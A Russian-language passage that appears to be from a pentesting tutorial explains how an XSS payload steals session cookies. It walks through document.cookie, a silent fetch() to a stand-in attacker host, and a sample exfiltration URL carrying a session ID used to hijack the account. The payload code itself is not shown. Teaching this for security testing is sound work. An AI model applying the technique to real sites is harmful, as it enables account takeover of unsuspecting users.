    Самый частый сценарий вепонизации XSS — это эксфильтрация данных, то есть скрытое извлечение конфиденциальной информации из браузера жертвы и отправка её на сервер злоумышленника.

    Рассмотрим, как выглядит боевой пейлоад для кражи сессионных файлов (cookies):

    Разберем этот код по шагам:

  • document.cookie — это встроенная команда JavaScript, которая собирает все куки-файлы пользователя на текущем сайте. Представьте, что это строка длиной 50 символов, содержащая секретный токен авторизации.
  • fetch(...) — современная функция браузера для незаметной отправки сетевых запросов в фоновом режиме. Жертва даже не увидит, что страница перезагрузилась.
  • Скрипт берет адрес сервера атакующего (https://hacker-server.com/log?stolen_data=) и приклеивает к нему украденные данные.
  • В итоге браузер жертвы тихо отправляет запрос вида: https://hacker-server.com/log?stolen_data=session_id=12345abcde.
  • Атакующему остается только заглянуть в логи своего сервера, скопировать полученный session_id, подставить его в свой браузер — и он мгновенно оказывается в аккаунте жертвы без ввода логина и пароля.

    Понимание того, как конструируются пейлоады и как работают фильтры, позволяет пентестеру не просто копировать чужие скрипты из интернета, а создавать уникальные векторы атак, адаптированные под конкретную систему защиты.